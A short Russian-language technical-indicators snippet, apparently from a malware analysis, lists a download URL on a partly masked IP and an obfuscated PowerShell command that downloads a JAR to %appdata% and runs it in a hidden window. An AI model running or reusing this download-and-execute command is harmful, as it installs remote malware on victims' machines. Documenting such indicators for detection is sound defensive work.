Техническая информация
- http://64.##6.239.34/~dom7com/images/1.jar как %appdata%\poerut.jar
- '64.##6.239.34':80
- '%WINDIR%\syswow64\windowspowershell\v1.0\powershell.exe' " (New-oBJect sysTEm.NEt.WeBcLiEnt).doWnlOaDFIlE( ”http://64.##6.239.34/~dom7com/images/1.jar” , ”$env:APPDatA\poerut.jar” ) ; sTaRt ”$ENv:aPPData\poerut.jar”"' (со скрытым окном)